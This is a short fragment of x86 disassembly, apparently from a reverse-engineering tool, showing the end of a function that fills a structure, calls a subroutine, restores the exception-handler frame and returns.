mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x34]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
lea ecx, [esp + 0x48]
call fcn.0045ff94
mov ecx, dword [esp + 0x5c]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14